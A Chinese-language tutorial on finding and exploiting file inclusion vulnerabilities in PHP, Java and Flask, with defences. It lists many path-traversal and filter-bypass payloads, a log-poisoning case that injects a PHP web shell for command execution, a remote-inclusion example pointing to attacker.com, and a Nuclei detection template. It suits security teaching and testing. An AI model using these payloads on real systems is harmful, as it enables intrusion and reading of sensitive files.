文件包含漏洞挖掘教程:从原理到实战
本文系统讲解文件包含漏洞的原理、挖掘思路、利用技巧与防御方案涵盖 PHP/Java/Python 案例附自动化工具与检测模板。目录1. 引言2. 漏洞原理3. 常见触发场景4. 漏洞挖掘思路5. 实战案例6. 自动化挖掘工具7. 防御方案8. 总结1. 引言文件包含漏洞File Inclusion Vulnerability是 Web 安全领域中最经典也最容易被忽视的漏洞类型之一。它源于开发者在代码中动态引入文件时未对用户可控的输入进行严格过滤导致攻击者能够控制被包含的文件路径进而读取敏感文件、执行恶意代码甚至获取服务器权限。本教程将从漏洞原理出发结合 PHP、Java、Python 等主流语言的实际案例系统讲解文件包含漏洞的挖掘思路、利用技巧与防御方案帮助安全测试人员与开发者在实战中快速识别并修复此类风险。2. 漏洞原理2.1 什么是文件包含文件包含是指程序在运行过程中通过变量动态拼接文件路径并引入该文件的功能。常见场景包括页面模板加载index.php?pagehome语言包切换langzh_cn配置文件读取configapp当这些参数直接拼接到文件路径中且未做校验时攻击者即可通过修改参数值让服务器包含任意文件。2.2 漏洞成因文件包含漏洞产生的核心原因有三点用户输入直接进入文件路径拼接未做白名单校验使用了include、require、import等动态引入函数对路径中的特殊字符如../、%00、协议头未做过滤。2.3 本地包含与远程包含根据被包含文件的来源文件包含漏洞分为两类本地文件包含LFI包含服务器本地的文件如/etc/passwd、日志文件、临时文件等远程文件包含RFI包含远程服务器上的文件如http://attacker.com/shell.txt通常危害更大可直接执行任意代码。3. 常见触发场景3.1 模板与页面加载?php$page$_GET[page];include($page..php);?访问index.php?page../../../../etc/passwd%00时%00截断.php后缀导致读取任意文件。3.2 语言包与配置文件?php$lang$_GET[lang];include(lang/.$lang..php);?攻击者可传入lang../../../../etc/passwd%00实现任意文件读取。3.3 日志文件包含当无法直接读取源码时攻击者可先向 Web 日志如access.log中注入 PHP 代码再通过 LFI 包含日志文件从而执行恶意代码。4. 漏洞挖掘思路4.1 参数排查挖掘文件包含漏洞的第一步是定位所有可能涉及文件路径的参数。重点关注以下关键词page、file、path、dirtemplate、theme、lang、languageinclude、require、load、readview、display、download、export4.2 路径特征判断在请求中修改参数值观察响应变化传入不存在的路径观察是否返回文件不存在错误传入../../../../etc/passwd观察是否返回文件内容传入php://filter/convert.base64-encode/resourceindex.php观察是否返回 Base64 编码内容。4.3 后缀截断与绕过当代码强制拼接后缀如.php时可尝试以下绕过方式空字节截断%00仅适用于 PHP 5.3 以下版本路径长度截断超长路径导致系统自动截断后缀双重编码%252e%252e%252f伪协议绕过php://filter、data://、expect://。4.3.1 利用 Windows 文件名特性Windows 文件系统在处理文件名时存在一些特殊规则可用于绕过后缀限制末尾点与空格Windows 会自动去除文件名末尾的.和空格。例如shell.php.会被解析为shell.phpshell.php末尾空格同理。若代码仅做简单的后缀黑名单校验可尝试page../../../../tmp/shell.php. page../../../../tmp/shell.php%20 page../../../../tmp/shell.php%2e page../../../../tmp/shell.php%2e%20 page../../../../tmp/shell.php%20%2e短文件名8.3 格式Windows 为长文件名自动生成短文件名如shell.php可能对应SHELL~1.PHP。若代码校验的是完整文件名可尝试用短文件名绕过page../../../../tmp/SHELL~1.PHP page../../../../tmp/SHELL~1.PH page../../../../tmp/SHELL~1 page../../../../tmp/SHELL~1.PHP::$DATANTFS 流文件利用 NTFS 的 ADSAlternate Data Stream特性在文件名后追加::$DATA或:stream可能绕过部分校验逻辑page../../../../tmp/shell.php::$DATA page../../../../tmp/shell.php:stream page../../../../tmp/shell.php::$DATA%00 page../../../../tmp/shell.php%3a%3a%24DATA适用条件目标服务器为 Windows 系统且 Web 服务如 IIS、Apache for Windows对文件名的处理遵循上述规则。4.3.2 利用 PHP 版本差异与过滤器链不同 PHP 版本对伪协议和过滤器的支持存在差异可利用这些差异构造绕过过滤器链读取文件当php://filter被部分过滤时可组合多个过滤器构造链式读取。例如使用zlib.deflate与convert.base64-encode组合pagephp://filter/zlib.deflate/convert.base64-encode/resourceconfig.php pagephp://filter/convert.base64-encode/zlib.deflate/resourceconfig.php pagephp://filter/zlib.inflate/convert.base64-encode/resourceconfig.php pagephp://filter/convert.base64-encode/string.rot13/resourceconfig.php pagephp://filter/convert.base64-encode/convert.iconv.utf-8.utf-16/resourceconfig.php多级过滤器嵌套利用convert.iconv.*系列过滤器进行字符集转换绕过对base64关键字的过滤pagephp://filter/convert.iconv.utf-8.utf-16/resourceconfig.php pagephp://filter/convert.iconv.utf-16le.utf-8/resourceconfig.php pagephp://filter/convert.iconv.utf-8.utf-7/resourceconfig.php pagephp://filter/convert.iconv.UCS-4LE.UCS-4BE/resourceconfig.php pagephp://filter/convert.iconv.ISO-8859-1.UTF-8/resourceconfig.php大小写与编码变体部分过滤规则对大小写敏感可尝试PHP://FILTER、Php://Filter等变体或对协议关键字进行 URL 编码pagephp%3a%2f%2ffilter/convert.base64-encode/resourceconfig.php pagePHP://FILTER/convert.base64-encode/resourceconfig.php pagePhp://Filter/convert.base64-encode/resourceconfig.php pagepHp://fIlTeR/convert.base64-encode/resourceconfig.php #### 4.3.3 利用编码绕过UTF-8 畸形字节等 通过畸形编码或特殊字符可干扰路径解析逻辑 - **UTF-8 畸形字节**在路径中插入非法的 UTF-8 字节如 %c0%ae、%c0%af部分旧版 Web 服务器或中间件在解码时可能将其还原为 . 或 /从而绕过路径过滤page…%c0%af…%c0%af…%c0%afetc%c0%afpasswdpage%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswdpage…%c1%9c…%c1%9c…%c1%9cetc%c1%9cpasswdpage…%e0%80%af…%e0%80%af…%e0%80%afetc%e0%80%afpasswdpage…%c0%ae%c0%ae%c0%ae%c0%ae%c0%ae%c0%aeetc%c0%afpasswd- **超长 UTF-8 编码**使用多字节表示的 ASCII 字符如 %c0%ae 表示 .在解码层被还原后实现路径穿越。 - **Unicode 规范化绕过**利用 Unicode 的规范化特性将 / 替换为视觉相似的字符如 %ef%bc%8f 全角斜杠部分解析器在规范化后可能将其还原为 /page…%ef%bc%8f…%ef%bc%8f…%ef%bc%8fetc%ef%bc%8fpasswdpage…%u2215…%u2215…%u2215etc%u2215passwdpage…%c0%ae%c0%ae%ef%bc%8fetc%ef%bc%8fpasswdpage…%252e%252e%252fetc%252fpasswdpage…%25252e%25252e%25252fetc%25252fpasswd **适用条件**目标 Web 服务器或中间件存在编码解码缺陷且未对畸形字节进行严格校验。此类技巧在 IIS 6.0、部分旧版 Tomcat 等环境中较为有效。 ### 4.4 伪协议利用 PHP 环境下常用的伪协议包括 | 协议 | 用途 | | --- | --- | | php://filter | 读取源码Base64 编码 | | php://input | 执行 POST 提交的代码 | | data:// | 执行内联代码 | | expect:// | 执行系统命令 | | file:// | 读取本地文件 | ## 5. 实战案例 ### 5.1 案例一PHP LFI 读取源码 目标 URLhttp://target.com/index.php?pagehome 构造请求GET /index.php?pagephp://filter/convert.base64-encode/resourceconfig.php HTTP/1.1Host: target.com响应中返回 config.php 的 Base64 编码内容解码后即可获得数据库配置等敏感信息。 ### 5.2 案例二日志注入 Getshell 步骤一向日志中注入恶意代码GET /?php system($_GET[cmd]); ? HTTP/1.1Host: target.comUser-Agent: ?php system($_GET[cmd]); ?步骤二通过 LFI 包含日志文件GET /index.php?page…/…/…/…/var/log/apache2/access.logcmdid HTTP/1.1Host: target.com若日志路径可预测且 Web 服务对日志目录有读权限即可执行系统命令。 ### 5.3 案例三Java 文件包含 Java 中常见的文件包含场景是 RequestDispatcher 或模板引擎动态加载 java String page request.getParameter(page); RequestDispatcher rd request.getRequestDispatcher(/WEB-INF/ page .jsp); rd.forward(request, response);攻击者可传入page../../../../etc/passwd尝试路径穿越或利用file://协议读取任意文件。5.4 案例四Python Flask 文件包含Python Flask 中常见的文件包含场景是动态拼接模板路径或直接读取文件内容。以下代码将用户可控的page参数直接拼接到模板路径中fromflaskimportFlask,request,render_template_string appFlask(__name__)app.route(/)defindex():pagerequest.args.get(page,home)# 危险直接拼接用户输入作为模板路径withopen(page.html,r)asf:contentf.read()returnrender_template_string(content)if__name____main__:app.run(debugTrue)攻击者可通过page参数进行路径穿越读取服务器上的任意文件GET /?page../../../../etc/passwd HTTP/1.1 Host: target.com由于代码强制拼接.html后缀攻击者可利用空字节截断Python 2 环境或直接构造包含合法后缀的路径来绕过GET /?page../../../../etc/passwd%00 HTTP/1.1 Host: target.com响应中会返回/etc/passwd的文件内容HTTP/1.1 200 OK Content-Type: text/html; charsetutf-8 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin修复方案使用安全模板引擎如 Jinja2 的render_template并配合白名单校验避免直接拼接用户输入fromflaskimportFlask,request,render_template,abort appFlask(__name__)ALLOWED_PAGES{home,about,contact}app.route(/)defindex():pagerequest.args.get(page,home)# 白名单校验仅允许预定义的模板名ifpagenotinALLOWED_PAGES:abort(404)returnrender_template(page.html)if__name____main__:app.run(debugTrue)适用条件目标为 Python Flask 应用且代码中直接使用open、render_template_string等函数动态拼接用户可控路径。6. 自动化挖掘工具6.1 手工测试工具Burp Suite抓包修改参数配合 Intruder 进行路径字典爆破ffuf快速模糊测试文件包含参数dirsearch探测目标目录结构辅助构造路径。6.2 自动化扫描工具WPScan针对 WordPress 的文件包含漏洞扫描Nuclei基于模板的漏洞扫描支持自定义 LFI 检测模板SQLMap虽然主要用于 SQL 注入但其--file-read选项在部分场景可辅助读取文件。6.3 Nuclei 检测模板示例id:lfi-detectioninfo:name:Local File Inclusion Detectionauthor:security-teamseverity:highrequests:-method:GETpath:-{{BaseURL}}/index.php?page../../../../etc/passwd-{{BaseURL}}/index.php?pagephp://filter/convert.base64-encode/resourceindex.phpmatchers-condition:ormatchers:-type:regexregex:-root:.*:0:0:-type:wordwords:-PD9waHA7. 防御方案7.1 白名单校验最有效的防御方式是使用白名单仅允许预定义的合法值?php$allowed_pages[home,about,contact];$page$_GET[page];if(in_array($page,$allowed_pages)){include($page..php);}else{die(Invalid page);}?7.2 路径规范化与校验对用户输入进行路径规范化处理并校验最终路径是否在允许的目录内?php$base_dirrealpath(__DIR__./pages/);$pagerealpath(__DIR__./pages/.$_GET[page]..php);if($pagestrpos($page,$base_dir)0){include($page);}else{die(Invalid path);}?7.3 禁用危险函数与协议在php.ini中设置allow_url_include Off禁用远程文件包含使用disable_functions禁用include、require等危险函数如非必要过滤php://、data://、expect://等伪协议关键字。7.4 其他加固措施使用框架内置的模板引擎避免手写动态包含逻辑对上传文件重命名并存储于 Web 根目录之外定期更新 Web 服务器与语言运行时修复已知漏洞部署 WAF拦截包含路径穿越特征的请求。8. 总结文件包含漏洞的挖掘核心在于「找到用户可控的文件路径参数」并「验证其是否可被操纵」。从手工参数排查到伪协议利用再到自动化工具辅助掌握系统化的挖掘思路能显著提升发现此类漏洞的效率。对于开发者而言白名单校验与路径规范化是最可靠的防御手段配合禁用远程包含与伪协议可有效阻断绝大多数攻击路径。安全是一场持续的攻防博弈理解漏洞原理、掌握挖掘技巧、落实防御措施三者缺一不可。